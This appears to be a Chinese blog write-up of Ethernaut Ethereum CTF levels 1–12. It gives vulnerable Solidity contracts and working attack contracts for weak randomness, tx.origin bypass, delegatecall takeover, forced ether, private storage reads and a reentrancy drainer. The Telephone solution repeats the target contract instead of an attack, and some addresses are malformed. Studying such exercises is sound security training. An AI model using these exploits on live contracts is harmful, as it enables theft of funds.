ethernaut 以太坊靶场学习 (1-12)
前言
这个靶场搜集了许多不同的 solidity 开发的问题,通过这个可以入门 区块链安全
Fallback
给出了源码
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract Fallback is Ownable {
mapping(address => uint) public contributions;
function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
题目的要求为
- 获取合约所有权
- 获取所有合约的余额
这个题主要考察 fallback
函数 ,合约可以有一个未命名的函数。这个函数不能有参数也不能有返回值,这个函数叫做 fallback
函数, 在上面的源码中 fallback
函数为
function() payable public {
// 当msg.value 和 contributions[msg.sender] 都 大于0 测修改 owner
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
fallback
函数被调用的情况有两种
调用合约中不存在的函数
当合约收到以太币(没有任何数据)
此外,为了接收以太币,fallback
函数必须标记为 payable
。
整个解题过程
- 调用
contribute
增加contributions
- 往 合约账户 发送
eth
,触发fallback
函数 ,改变合约的owner
- 调用
withdraw
获取所有合约的余额
Fallout
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract Fallout is Ownable {
mapping (address => uint) allocations;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
function allocate() public payable {
allocations[msg.sender] += msg.value;
}
function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
题目的要求是 获取合约所有权
Fal1out
函数名打错,不是构造函数,变成了 public
的函数,任何人可以调用。直接调用这个就可以改变 owner
.
这份代码还有另外一个问题, 在 sendAllocation
函数中,把 eth
发给用户后,并没有清空 allocations[allocator]
, 使得用户可以不断的让合约账户发 eth
给他
Coin Flip
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
// 通过上一个区块的 hash 做为随机数种子
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
要求 consecutiveWins
的值设置为 10
。
其实就是要猜中 10
次随机数, 浏览代码发现随机数的种子为上一个区块的 hash。这里有个小细节
一个交易是被打包在一个区块里的,通过 attack
合约去调用 Lottery
合约,那么他们的区块信息都是一样的。
所以用合约去调用 flip
就可以猜测出 flip
会算出的随机数。
poc 如下
pragma solidity ^0.4.18;
contract CoinFlip {
function flip(bool _guess) public returns (bool);
}
contract CoinFlipAttack {
address CoinFlipAddress;
function CoinFlipAttack() public {
// CoinFlip 合约部署后的地址
CoinFlipAddress = 0x00dc1a74279861073a5ac90af56375ebca88498a48;
}
function setCoinFlipAddress(address _address) public {
CoinFlipAddress = _address;
}
function attack() public returns (bool){
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
CoinFlip coinflip = CoinFlip(CoinFlipAddress);
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
return coinflip.flip(side);
}
}
执行 10
次即可。
Telephone
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
要求成为合约的拥有者
其实就是要绕过
if (tx.origin != msg.sender)
如果我们直接调用题目合约,tx.origin
就与 msg.sender
相同。用另一合约去调用此合约,tx.origin
就不会与 msg.sender
相同。
所以新写一个合约去调用这个合约的 changeOwner
方法即可
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
Token
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
经典的 无符号数滥用, balances
的类型为 uint
,所以
require(balances[msg.sender] - _value >= 0);
始终满足。这样就可以转任意 token
给任何用户。
Delegation
pragma solidity ^0.4.18;
contract Delegate {
address public owner;
function Delegate(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
function Delegation(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}
题目的要求是获取 Delegation
合约的所有权。
这题主要考察 delegatecall
的特性。
下面这篇文件总结的比较全
https://paper.seebug.org/633/#0x00
delegatecall
所在合约 (A) 在调用其他合约 (B) 的函数时,所用到的很多状态( 比如 msg.sender )都是 A 合约里面的。以及当 A 和 B 合约有一样的变量时,使用的是 A 合约中的变量。
所以利用方法如下
通过转账触发 Delegation
合约的 fallback
函数,同时设置 data
为 pwn
函数的标识符。
delegate.delegatecall(msg.data)
然后在Delegate
合约里面的 pwn
函数就会修改 Delegation
合约的 owner
变量为我们的合约地址。
计算函数 id
的方法
web3.sha3("pwn()").slice(0,10)
"0xdd365b8b"
Force
pragma solidity ^0.4.18;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
要求是让该合约的余额(this.balance
) 不为零。
一般情况下,如果要能往合约发送 eth
需要其 fallback
函数为 payable
。不过另一个合约可以通过 selfdestruct
强行给一个合约发送 eth
pragma solidity ^0.4.18;
contract Selfdestruct{
function Selfdestruct() public payable{} // 构造函数为payable,那么就能在部署的时候给此合约转账。
function attack() public {
selfdestruct(0x00df9e19b596e9d8ab0fa7c6edfcc5f9f0654eb88e); // 这里要指定为销毁时将基金发送给的地址。
}
}
Vault
pragma solidity ^0.4.18;
contract Vault {
bool public locked;
bytes32 private password;
function Vault(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
要求是令 locked = false
, 其实就是要我们猜测 password
的值, 这里有个细节不论是 private
变量还是 public
变量都是会存储在区块链上的,就是说依然是公开的。
具体可以看
http://8btc.com/thread-226862-1-1.html
所以直接使用
web3.eth.getStorageAt("0xd22f593d19cc91d53cad61670fb8474624e8e4a7", 1, function(x, y) {alert(web3.toHex(y))})
查看 0xd22f593d19cc91d53cad61670fb8474624e8e4a7
合约的第 2
个 storage
变量的值( password
)。
然后用 remix
把它给解锁。
King
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract King is Ownable {
address public king;
uint public prize;
function King() public payable {
king = msg.sender;
prize = msg.value;
}
function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
}
题目的要求是让我们成为永远的 king
.
这里的转账函数为 transfer
,根据其函数功能,我们可以令其转账过程中报错,从而返回throws
错误,无法继续执行下面的代码,这样就不会产生新的国王了
另外我们知道,如果向一个没有 fallback
函数的合约,或 fallback
不带 payable
的合约发送 eth
,则会报错。
通过
fromWei((await contract.prize()).toNumber())
获取当前国王的价格
所以写个合约去调用它
pragma solidity ^0.4.18;
contract KingAttack {
function KingAttack() public payable {
address victim = 0x00023c2d053a342b80116d1ff0b986f5d821a08d91; // instance address
victim.call.gas(1000000).value(msg.value);
}
}
Re-entrancy
pragma solidity ^0.4.18;
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] += msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
要求是转光合约账户的 eth
.
漏洞在 withdraw
提现的时候,使用的是
msg.sender.call.value(_amount)()
把钱转给用户,这个会引起重入漏洞。重入漏洞的原理可以看
http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review/
所以我们要实现一个合约,在 fallback
函数中再次调用存在漏洞的函数,他就会一直转账,而不会进入下面的更改 用户余额的代码。
balances[msg.sender] -= _amount;
poc 如下
pragma solidity ^0.4.18;
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] += msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
contract MyContract {
Reentrance c;
address owner;
function MyContract(address _c) public payable {
c = Reentrance(_c);
owner = msg.sender;
c.donate.value(msg.value)(this);
}
function() public payable {
uint weHave = c.balanceOf(this);
if (weHave > c.balance) {
if (c.balance != 0) c.withdraw(c.balance);
return;
}
c.withdraw(weHave);
}
function exploit() public {
c.withdraw(1000000000000000000);
}
function dtor() public {
selfdestruct(owner);
}
}
记得要在调用 exploit
函数时设置 gas limit
为一个大的值 999999
, 否则会执行失败 (out of gas)
Elevator
pragma solidity ^0.4.18;
interface Building {
function isLastFloor(uint) view public returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
题目要求: 让 top
为 true
.
实现一个合约使得 isLastFloor
第一次返回 false
第二次返回 true
即可。
poc:
pragma solidity ^0.4.18;
contract Elevator {
function goTo(uint _floor) public {}
}
contract ElevatorAttack {
bool public isLast = true;
function isLastFloor(uint) public returns (bool) {
isLast = ! isLast;
return isLast;
}
function attack(address _target) public {
Elevator elevator = Elevator(_target);
elevator.goTo(10);
}
}
Privacy
pragma solidity ^0.4.18;
contract Privacy {
bool public locked = true;
uint256 public constant ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
function Privacy(bytes32[3] _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
和之前的某一题类似。就是要明白 solidity
中变量的存储。EVM
虚拟机是一个256位的机器,所以它的一个存储位我们也看到了就是 32
个字节
constant
变量不存储在链上, 下面 4
个变量的大小和小于 32
字节存在一个存储位
bool public locked = true; // 1 字节
uint8 private flattening = 10; // 1 字节
uint8 private denomination = 255; // 1 字节
uint16 private awkwardness = uint16(now); // 2 字节
所以 data[2]
为 3
偏移的 Storage
web3.eth.getStorageAt("0xb0ca0b0f85590d8659c51d35aaa81132e95b0285", 3, function(x, y) {alert(web3.toHex(y))})
然后 bytes16
其实就是切片,取前 16
个 字节.
具体可以看
https://www.bubbles966.cn/blog/2018/05/07/analyse_dapp_by_ethernaut_2/
参考
https://blog.riskivy.com/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6ctf%EF%BC%9Aethernaut-writeup-part-1/
https://www.anquanke.com/post/id/148341#h2-9
ethernaut 以太坊靶场学习 (1-12)的更多相关文章
- 程序员的自我救赎---12.2.3: 虚拟币交易平台(区块链) 下 【C#与以太坊通讯】
<前言> (一) Winner2.0 框架基础分析 (二)PLSQL报表系统 (三)SSO单点登录 (四) 短信中心与消息中心 (五)钱包系统 (六)GPU支付中心 (七)权限系统 (八) ...
- 如何从零开始学习区块链技术——推荐从以太坊开发DApp开始
很多人迷惑于区块链和以太坊,不知如何学习,本文简单说了一下学习的一些方法和资源. 一. 以太坊和区块链的关系 从区块链历史上来说,先诞生了比特币,当时并没有区块链这个技术和名词,然后业界从比特币中提取 ...
- 以太坊RLP用法-go-ethereum学习
RLP (递归长度前缀)提供了一种适用于任意二进制数据数组的编码,RLP已经成为以太坊中对对象进行序列化的主要编码方式.RLP的唯一目标就是解决结构体的编码问题:对原子数据类型(比如,字符串,整数型, ...
- 以太坊的crypto模块--以太坊源码学习
以太坊的crypto模块 该模块分为两个部分一个是实现sha3,一个是实现secp256k1(这也是比特币中使用的签名算法). 需要说明的是secp256k1有两种实现方式,一种是依赖libsecp2 ...
- 以太坊区块链Java(EthereumJ)学习笔记:概述
本系列文章介绍以太坊区块链基于Java语言的解决方案.通过介绍EthereumJ定义的主要模块和Class,希望为大家学习和使用EthereumJ提供一些帮助. 整体架构 以太坊的Java解决方案主要 ...
- golang学习笔记19 用Golang实现以太坊代币转账
golang学习笔记19 用Golang实现以太坊代币转账 在以太坊区块链中,我们称代币为Token,是以太坊区块链中每个人都可以任意发行的数字资产.并且它必须是遵循erc20标准的,至于erc20标 ...
- 以太坊系列之一: 以太坊RLP用法-以太坊源码学习
RLP (递归长度前缀)提供了一种适用于任意二进制数据数组的编码,RLP已经成为以太坊中对对象进行序列化的主要编码方式.RLP的唯一目标就是解决结构体的编码问题:对原子数据类型(比如,字符串,整数型, ...
- 以太坊系列之三: 以太坊的crypto模块--以太坊源码学习
以太坊的crypto模块 该模块分为两个部分一个是实现sha3,一个是实现secp256k1(这也是比特币中使用的签名算法). 需要说明的是secp256k1有两种实现方式,一种是依赖libsecp2 ...
- 以太坊web3开发初步学习
以太坊web3开发初步学习 此文是对https://learnblockchain.cn/2018/04/15/web3-html/的学习再理解. 以太坊智能合约通过使用web3.js前端和智能合约交 ...
随机推荐
- Redis学习系列一Linux环境搭建
1.简介 Redis是互联网技术架构中在存储系统中用的最广泛的中间件,是中高级后端工程师技术面试中面试官最喜欢问的工程技能之一.所以Redis是.Net技术开发必须掌握的技能之一.所以通过这个系列的随 ...
- Spring Cloud Hystrix
接上篇: Spring Cloud Eureka 使用命令开启两个服务提供者 java -jar .\hello--SNAPSHOT.jar --server.port= java -jar .\he ...
- 面试题之发散思维能力:如何用非常规方法求1+2+···+n
今天在<剑指offer>里看到了下面这样一个简单且有趣的题,考察程序员的发散思维能力,前提是你对C++相关知识点熟悉,否则是想不出来方案的,分享给大家. 题目:求1+2+···+n,要 ...
- java-jmx使用
先粘一段内容 .程序初哥一般是写死在程序中,到要改变的时候就去修改代码,然后重新编译发布. .程序熟手则配置在文件中(JAVA一般都是properties文件),到要改变的时候只要修改配置文件,但还是 ...
- JS脚本动态给元素/控件添加事件
最近突然要用到JS脚本动态给元素添加事件.如TextBox的onclick事件.但有的onclick事件原先已经定义了相应代码!这里又不能替代原有方法,而JS脚本里面有个方法可以给控件在原有事件的基础 ...
- 熟悉DAO模式的用法
今天主要是使用DAO模式. DAO模式通过对业务层提供数据抽象层接口,实现了以下目标: 1. 数据存储逻辑的分离 通过对数据访问逻辑进行抽象,为上层机构提供抽象化的数据访问接口.业务层无需关心具体的s ...
- 看 Netty 在 Dubbo 中如何应用
目录: dubbo 的 Consumer 消费者如何使用 Netty dubbo 的 Provider 提供者如何使用 Netty 总结 前言 众所周知,国内知名框架 Dubbo 底层使用的是 Net ...
- .NET平台开源文档与报表处理组件包括Execel PDF Word等
在前2篇文章这些.NET开源项目你知道吗?让.NET开源来得更加猛烈些吧 和这些.NET开源项目你知道吗?让.NET开源来得更加猛烈些吧!(第二辑)中,大伙热情高涨.再次拿出自己的私货,在.NET平台 ...
- [android] 手机卫士输入框抖动和手机震动
查看apiDemos,找到View/Animation/shake找到对应的动画代码,直接拷贝过来 当导入一个项目的时候,报R文件不存在,很多情况是xml文件出错了 Animation shake = ...
- Spring MVC 不能正常获取参数的值
最近在开发时遇到一个非常奇怪的问题,在tomcat8中使用Spring MVC框架,在Controller中的方法参数无法正常获取到相应的值,将tomcat版本换成7.0就解决了. 记录以下解决过程, ...